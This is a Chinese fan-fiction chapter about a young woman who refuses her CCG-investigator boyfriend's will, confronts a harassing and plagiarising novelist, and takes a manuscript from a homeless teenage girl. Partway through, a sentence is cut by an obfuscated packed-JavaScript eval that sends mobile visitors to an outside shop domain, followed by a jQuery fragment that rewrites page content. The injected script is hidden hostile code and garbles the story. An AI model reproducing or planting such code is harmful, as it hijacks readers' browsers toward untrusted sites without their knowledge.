在秋的凉意渐渐取代夏末余温的时候，贵将突然变得忙碌起来。
起初是电话里简短的“今天没办法去接你了”，后来变成“这周任务多，不必等我”。我渐渐习惯了一个人吃完他预先备好的餐食，一个人完成二十分钟的锻炼，给0101换好水和谷物，最后安静地锁门离开。我们在公寓共处的时间越来越短，像指缝里漏下的沙。
一个寻常的傍晚，他脱下外套挂好，转身对我说：“从明天开始我需要去3区驻扎，大概会有很长时间不能回来。”
我正蜷在沙发里翻看画册，闻言抬头，并没有太在意，对他的频繁外勤早已习以为常。我趿拉着拖鞋走过去，像往常一样揪住他衬衫的袖子，指尖无意识地捻着那点布料，开始絮絮叨叨地嘱咐：“那你要小心啊，别总是冲在最前面，记得按时吃饭。还有，绝对、绝对不要受伤。”
他安静地听着，目光落在我的手上，任由我拽着他的袖子。直到我絮叨完他才“嗯”了一声。又像想起了什么，从随身携带的公文包里掏出一封折叠得异常整齐的白纸，放在了我们之间的小茶几上。
“这是什么？”我好奇地拿起来翻看，纸张很普通，没有任何标记。
“是遗书。”
“……哈？”
“遗书。”我那总在不该淡定的时候淡定的男朋友又耐心地重复了一遍。
捏着那页纸的手指猛地收紧，我抖了一下，一股冰冷的战栗从脊椎爬升到头顶。
他伸手推了一下滑落的眼镜，继续用那种平稳的语气说明，“有一名特等搜查官在3区牺牲了，杀死他的是一名没有被记录过的喰种，风险等级评估很高，上级要求相关人员出发前提前准备这个，以防万一。”
空气仿佛瞬间被抽干了，我看着他那张毫无波澜的脸，再看向手中轻飘飘的白纸，胸口仿佛裂开了一个口子。
“上级要求？”
我的声音变得干涩，只觉得这事听起来荒唐透顶，“既然特等搜查官都死了，他们为什么还让你去，还要提前写好这个？”我把那页纸举起来，“这算什么？一张通往死亡的预约券吗？他们觉得你的命就值这一张纸？”
为什么是他呢？他还那么年轻，只是一个二等搜查官。那些高高在上的人，难道只需要有新的血肉去填补战线就可以了吗。
贵将似乎没料到我的反应会如此激烈，他伸出手，轻轻按住了我因为激动而颤抖的肩膀。“真晞，这只是一个固定程序，不需要害怕。”
“我怎么可能不害怕？”我甩开他的手，眼泪不受控制地涌上来，“万一……万一……”
“不会。”他打断我，语气依然笃定，“我不会死的。”
这句话从他嘴里说出来，一如既往地没有任何修饰。这非但没能安抚我，反而让某种积压已久的情绪彻底决堤。我拼命摇头，指甲几乎要掐进掌心。
父亲浑身是血、气若游丝、却用尽力气握住我的手的画面狠狠撞进脑海。他说“要好好活着，要变得健康”。那句话曾经是温暖的火光，可在我一次次面对自己生命的倒计时时，它渐渐变成了锁在喉咙里咽不下也吐不出的硬块。他是了不起的科学家，以人类之姿与喰种诞下爱情的结晶。他明明比谁都清楚，我根本没有长命百岁的资格。一句死后留下的、无法兑现的期望，比直接的告别更折磨人。它不能挽回任何事，只把活生生的人钉死在绵延的痛苦里，反复拷问。
“所以……”我深吸一口气，试图压下喉头的哽咽，目光转向那页白纸，“你要写什么？写给谁？”
他沉默了片刻，摇了摇头。“不知道。也没有合适的人选。”他顿了一下，视线投到我的脸上，“要不然……”
“不，我不要。”我意识到他想说什么，冷硬地打断了他未出口的话。
我看着他的脸，看向手中那散发着不祥气息的白纸。一种强烈的抗拒感猛地攫住了心脏。
“我讨厌这个。”我把那页纸狠狠摁回茶几上，像推开一块烧红的烙铁，厌恶地推得远远的，指尖一直在发抖。
“我讨厌遗书，更讨厌听什么遗言。死了就是死了，化成灰，什么都没了。留下几句话、几张纸，能改变什么？能让死去的人活过来吗？能让活着的人不难过吗？不能，它只会像一根拔不掉的刺卡在活着的人心里。”
我抬起头，直直地看向他。贵将脸上那层惯常的平静出现了一丝裂隙，目光沉沉地笼罩着我。
“所以，我不要你的遗书。”我死死盯着他，斩钉截铁，每个字都像小石头砸在安静的空气里，“一张纸，几个字，我根本不想要。”
他似乎想说什么，或许是“这是规定”，或许是别的，但我没给他机会。
“我爸爸留给我的最后一句话，是让我健健康康地活着。这句话并没有成为我的支柱，反倒时时刻刻在提醒我，我可能根本做不到他期望的万分之一。这样的遗言除了让留下的人加倍痛苦，还有什么用？”
我上前一步，逼视着他镜片后的眼睛，那里终于映出了我此刻小小的、固执的倒影。
“你听好了，贵将。”
我紧紧咬着牙，将每一个字都咬得无比沉重。“你去3区，驱逐喰种，拯救未亡的生命，做什么都可以。因为你是搜查官，那是你的使命。但你必须活着回来。用你自己的眼睛回来看我，用你自己的手回来抱我，用你自己的嘴亲口告诉我你回来了。我要的是这个！不是一个冰冷的签名，一段可能永远没机会被看到的文字。”
我的语气蛮横，我没有在请求他，是在强行订立一个他必须遵守的法则。
“如果你受伤了，那就治好它。如果你觉得撑不住了，那就想想……”我顿了顿，悲伤和恐惧让声音哽咽，我强迫自己说完，“想想我还在这里，在等一个活生生的人。不是一个英雄的故事，更不是一张死亡通知书。我不接受其他任何结果，我只要你完整地、喘着气，回到这里。”
我伸出手，食指带着无处发泄的力量，重重戳在他心口的位置。
“这里要一直跳着。”我的指甲刮过他的纽扣，发出轻微的声响。“你的命从现在开始，不能只属于CCG，你是我的恋人，它有一部分，哪怕是很小的一部分也必须是我的。大义是需要牺牲，可我要你为这一部分而活。让它成为你在绝境里不得不抓住的绳索，成为你在危险面前必须躲开的理由。我要这个理由足够沉重，沉重到能压过任何牺牲的念头。不管是现在，还是以后。”
客厅里死一般寂静，连0101都感觉到了这紧绷的气氛，停止了梳理羽毛，黑豆似的眼睛望着我们。
贵将一动不动地站着，任由我的手指抵着他的心脏。他垂着眼帘，长睫在镜片后投下阴影，遮住了所有情绪的流动。时间在沉默中拉长，仿佛过了一个世纪。他缓缓抬起手，握住了我冰冷而颤抖的手。
“好。”他低声说，“我会活着的。”
这句话像一颗被强行按入土壤的种子，带着沉甸甸的硬度扎进我的心里。
第二天清晨，天光未亮，他已经带着简单的行李离开了。没有可爱男朋友的日子，时间被拉长，又填满了另一种忙乱。他果然非常忙碌，备受重用，连在任务间隙打个简短电话都成了奢侈。最初的不习惯如同潮水反复冲刷，我重新开始等待他的归来，将更多的精力投注到自己的事情上。
杂志社安排我跟进一个新人作家的专访，他刚凭借一部风格诡谲的悬疑小说拿下颇有分量的文学奖项，风头正劲，在追求新鲜感的年轻读者中人气颇高。采访约在他工作室附近的咖啡馆，我提前到达选了靠窗的位置，检查录音笔，将采访提纲在心里默过一遍。窗外街道行人寥寥，秋日阳光透过梧桐叶洒下斑驳的光点。
他迟到了近二十分钟，出现时带着一阵刻意张扬的气息。人很年轻，相貌算得上周正，眉眼间有种挥之不去的轻浮。他敷衍地道了歉，落座时目光已经像评估物品般迅速扫过我全身，在头发和眼睛上停留了片刻，嘴角勾起一个意味不明的弧度。
采访从一开始就磕磕绊绊，他心不在焉，对我的提问回答得漫不经心，常用“差不多吧”、“你觉得呢”或一句轻佻的反问来搪塞。
“你们杂志社是没人了吗？怎么能让这么漂亮的小姐来做这种枯燥的工作？”他搅动着咖啡，眼神飘向我的手指。“是外国人吗？你的blue eye非常beautiful。”
我熟练地装起耳聋，试图将话题拉回他的创作理念和获奖作品。沉默让他的骚扰渐渐从言语滑向更越界的动作，借着递送咖啡的店员经过时的拥挤，他的鞋尖在桌下“无意”地碰触我的小腿；在我低头记录时，他假意伸手拿糖罐，手臂状若无意地擦过我的肩膀。目光越来越露骨，像黏腻的触手爬过皮肤。
我强忍着厌恶，提醒自己这是在工作中，不能搞砸。我收紧肩膀，将椅子向后挪了挪，避开桌下的接触。
但他变本加厉，当我问及小说中某个情节的逻辑争议时，他嗤笑一声，身体前倾，压低了声音，油腻的气息扑面而来：“妹妹，写小说又不是做数学题，要那么严丝合缝干嘛？有时候感觉和氛围更重要。就像现在，你不觉得这气氛挺好吗？”说着，他的手假装无意地要拂过我放在桌面的手背。
那一瞬间，连日来等待的焦虑、对他轻浮态度的厌恶、以及对自己处境的烦躁，轰然炸开。
我猛地抽回手，笔尖将纸页划开一道突兀的缝隙。
“氛围？”
我抬起头，第一次逼视他的眼睛，瞳仁里映出他错愕的脸。“抱歉，我在您的作品里只感觉到一种似曾相识的、蜷缩在角落里的味道。”
他脸上的轻浮笑容凝滞了，没听懂这古怪的比喻。
我扯了扯嘴角，眼里毫无笑意。“您知道我们杂志社的杂物间吗？靠墙那台老掉牙的复印机旁边有个专门堆废弃稿件的纸箱。稿子太多了，多到没人会多看它们一眼，最后不是被碎掉就是直接进了垃圾箱。”
我的指尖敲了敲采访本的硬壳，那里仿佛还残留着打印机散热时的微温。
“我的工作就是站在那里，等着机器吐纸，或者清理那些被毙掉的稿子。我其实一开始对那些东西没什么兴趣，偏偏我记性好，就算只见过一眼的东西也会留下印象。比如某个无名作者笔下一个关于‘用雨声频率来传递密码’的设定。又比如另一份废稿里，那个总在午夜电台播放老爵士乐、实则传递暗号的配角。”
他的脸色开始慢慢变化。轻浮被强装的镇定取代，手指无意识地捏紧了咖啡勺。
“真是巧啊。”我轻轻叹了口气，语气近乎厌倦，“这些闪着微光、却被扔进废纸堆里的点子，怎么都换了层更光鲜的外衣，跑到您的获奖大作里成了推动情节的神来之笔了？连爵士乐电台的频道数字都和废稿里写的一模一样。这大概就是……英雄所见略同？”
“你胡说八道什么！”他猛地提高音量，试图用愤怒掩盖心虚，“那些垃圾稿子谁知道是什么人写的！巧合，纯粹是巧合！你一个打杂的懂什么创作！”
“我是不懂创作。”我平静地打断他，“我只需要认得那些被遗忘的字句就够了。您知道最可悲的是什么吗？不是抄袭本身。是您连抄都只敢挑那些最不可能发声的、早已被丢进垃圾堆里的东西。因为觉得安全，觉得永远不会有人发现，对吧？”
他张着嘴，脸上青一阵白一阵，像被人当众剥掉了精心缝制的华服，露出下面粗糙劣质的衬里。
“所以，我们还要继续讨论您作品中的‘感觉和氛围’吗？”我啪的一声合上采访本，“或者讨论一下，如果编辑部或您的年轻读者们偶然知道了这些灵感的真正来源，会作何感想？”
他没有回答，只是死死地瞪着我。眼神里充满了惊怒、羞耻，还有终于浮现的恐惧。先前所有令人作呕的轻浮和骚扰，此刻都化为了滑稽的背景板。
我站起身，拎起背包。指关节因为用力而微微泛白。心中翻涌的并非胜利的愉悦，是一种更深的污浊感。与这样的人纠缠，发掘光鲜下的虱子让我感到无比厌倦。
“采访结束了。”我的声音恢复了平淡，“至于报告怎么写，我会如实陈述今天的所见所闻。包括您对采访者的不当言行，以及我个人对您作品原创性的一些微小疑问。当然，我只是个打杂的，说的话未必有人在意。祝您下次寻找灵感时，运气能更好一点。”
他脸上的肌肉抽搐着，恼羞成怒之下竟猛地探身，一把抓住了我的手腕，“我警告你，别以为知道点鸡毛蒜皮就能乱说！信不信我让你在这行都混不下去！”
皮肤被攥紧的刺痛压垮了我所有的忍耐。被抓住的手猛地用力向后一挣，另一只手握紧成拳，将全身这些日子积压的憋闷厌烦，全都灌注在拳头上，笔直地照着那张令人作呕的脸砸了过去。
“砰！”
一声闷响，结结实实。我的指骨撞上他鼻梁，传来清晰的痛感。他狼狈地向后仰倒，撞在椅背上，带翻了旁边的空椅子，稀里哗啦一阵乱响。他捂着鼻子，指缝间迅速渗出血迹，难以置信地瞪着我，含糊地咒骂着。
我站在原地，收回来的拳头微微颤抖，关节火辣辣地疼。畅快顺着脊椎猛地冲了上来，淤塞的河道被强行轰开了一个口子，浑浊的水流奔涌而出。
——又想感谢健身教练了，这段时间的体能训练果然没有白费。
我舒坦地长呼一口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580506|205098||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
气。这畅快感只持续了短短几秒，就被周围聚集的目光、咖啡馆店员匆忙跑来的脚步声迅速淹没。
我看着他那副狼狈又怨毒的样子，看着自己发红的指节，忽然觉得一切都荒谬透顶。
这不是我想要的生活。
不是日复一日守在打印机旁处理无尽的废稿，不是让我的敏锐和心力消耗在这种毫无意义的泥沼里。
我最后看了一眼混乱的现场，拎起背包，头也不回地走了出去。
暮色渐浓，我在大街上飞快地向前走着，准备带着猝死的采访回去交差。当我再次经过那个需要绕行垃圾站的街区时，一种莫名的预感让我放慢了脚步。
街灯尚未完全亮起，光线昏暗。垃圾站比平时更早地堆满了压缩袋，腐坏的气味在微凉的空气中隐隐浮动，我的目光下意识地扫过角落。
那个瘦小的女孩又在那里。
这次她没有蹲在垃圾袋后面，而是靠着冰冷的墙壁蜷缩在地上，低着头。我看不清她的脸，只能看到一头纠结的乱发和流着血的肩膀，她似乎比上次看到时更虚弱了。
我停住脚步，隔着十几米的距离犹豫不决。理智告诉我应该走开，这与我无关，介入流浪儿童的事可能带来无穷无尽的麻烦。但双脚却像被钉在了地上，那双曾与我对视过的、混合着凶狠与惊恐的眼睛，此刻仿佛正透过低垂的乱发，无声地向我发出求救的信号——尽管我知道那可能只是我的臆想。
我叹了口气，手指摸向钱包，抽出里面的银行卡塞进口袋。现金还剩很多，大概够她吃很多天像样的饭，或者买点药品和衣服。
我向前走了几步，缩短了一点距离，依旧保持着足够安全的空间。女孩似乎沉浸在自己的痛苦里，没有立刻察觉我的靠近。
“喂。”我开口，声音在寂静的巷口显得突兀。
她缓缓抬起半张脸，污秽的面孔在暮色中苍白得可怕。
我没有再靠近，将钱包朝着她脚边干燥的地面轻轻扔了过去。钱包落在散落的废纸上，发出轻微的“噗”声。
“这个给你。”我的声音尽量放得平稳，不带太多情绪，“里面有钱，去买点吃的，或者处理一下伤口，放任不管的话会死掉的。”
说完，我立刻转身，朝着杂志社的方向快步走去。
走了大概七八步，身后突然传来一个声音。非常干涩，像砂纸摩擦着锈铁，带着一种奇特的穿透力。
“……喂。”
我脚步一顿，没有立刻回头。
短暂的沉默后，嘶哑的声音再次响起，带着一丝几乎听不出来的微弱期盼：“你是不是翔英社的人？”
翔英社？
我惊讶地转过身，女孩依然蜷缩在原地，没有去捡钱包，只是用异常明亮的眼睛看着我。目光准确地落在我挎包侧面那个不起眼的、印有杂志社褪色logo上。
“嗯。”我含糊地应了一声。
她没有追问，费力地从外套内里掏出了一叠厚厚的、用粗糙的牛皮纸和塑料绳草草捆扎起来的东西。她将那一大摞放在自己并拢的膝盖上，抬头看向我，声音依旧嘶哑平淡：“我有稿子，想投给你们。”
一个经常在垃圾堆旁边出入、衣衫褴褛的流浪小孩，说要向风格老派的翔英社投稿？
“办公室就在前面，你可以过去亲自给他们。”
“我去过了，你们的保安嫌弃我是乞丐，把我赶出来了。”
想起杂志社门口那几个凶神恶煞的老油条，我沉默了。目光再次落在那厚厚的牛皮纸包上。“这真是你写的？”
她点了点头，乱发随着动作晃动。“嗯。”
犹豫了几秒，我还是警惕地走了过去，在她面前蹲下，保持着一个不至于让她感到压迫的距离，伸出手：“能给我看看吗？”
她没有立刻递过来，用那双沉寂的眼睛又审视了我两秒钟，用没受伤的手捧起稿子，递到我面前。
入手的分量让我暗暗吃惊，非常沉，掂量着大概有五百页。我解开油腻的绳结，小心地掀开最外面的牛皮纸一角。里面是密密麻麻的手写文字，字迹起初有些歪扭，墨水的颜色都不统一，我随手翻到中间一页。
只是粗略地扫了几行，酥酥麻麻的感觉便从指尖蔓延开来。文字掌控力、情节张力、人物瞬间立体的刻画——每一项都无可挑剔。这绝非普通孩子、甚至成年人能企及的水准。
我抬起头，看向眼前这个脏得看不出本来面目、用那双深渊般的眼睛回望着我的女孩。
“你多大了？”
“14……岁。”
“14？”我只觉得不可思议，她瘦小得像只有八岁的样子。
她再次点了点头，动作依旧很小。
我低头看着手中沉甸甸的稿件，看着她又毫无表情的脸，觉得事情忽然棘手起来。我将稿件重新仔细包好，塑料绳按照原样绕回去，动作很慢，像在整理自己混乱的思绪。我抬起头，看着她，做出了决定。
“我可以帮你转交，只是转交而已，最后能否采用决定权不在我。”
女孩静静地听着，脸上没有任何表情变化。“你不是编辑吗？”
“说来惭愧，我只是个什么都不是的实习生。而且……”我顿了顿，迎着她毫无波澜的目光，补充了一句，不知是说给她听还是说给自己听，“我很快就不会在翔英社工作了。”
她似乎并不在意我的离职预告，点了点头，很轻地说：“谢谢。”
“该道谢的是我。”我苦笑一下，站起身，将没派上用场的采访本和录音笔随手丢进垃圾桶，腾出空间让给厚重的稿件。又从口袋里摸出一张银行卡塞进钱包里，再次递到她面前。
“别总待在垃圾站旁边了，去买件新衣服，吃点热食，好好睡一觉。”我的语气缓和了些许，“虽然我说采用的事不归我管，但只要社里那些喝酒喝傻的老古板还有点最基本的判断力，就该知道拒绝你这样的天才无异于往厕所里扔金子。”
她接过钱包，这次动作快了些，紧紧攥在脏兮兮的手里。她抬起头，眼睛直直地看向我，忽然问：“你叫什么名字？”
我不禁一愣。
名字？
在翔英社我只是个“那个打杂的实习生”，在贵将那里，我是“真晞”。在这个庞大的钢铁城市里，我常常觉得自己什么也不是。
我没有回答，将帆布包的带子往肩上提了提，转身准备离开。走出两步又停下，侧过半边脸，背对着她，随意地挥了挥手。
“如果以后还能再见面的话，等你的书真的出版了，就给我签个名吧。”我的声音被晚风吹得逐渐飘忽，“给漂亮的大姐姐……嗯，就这样写好啦。”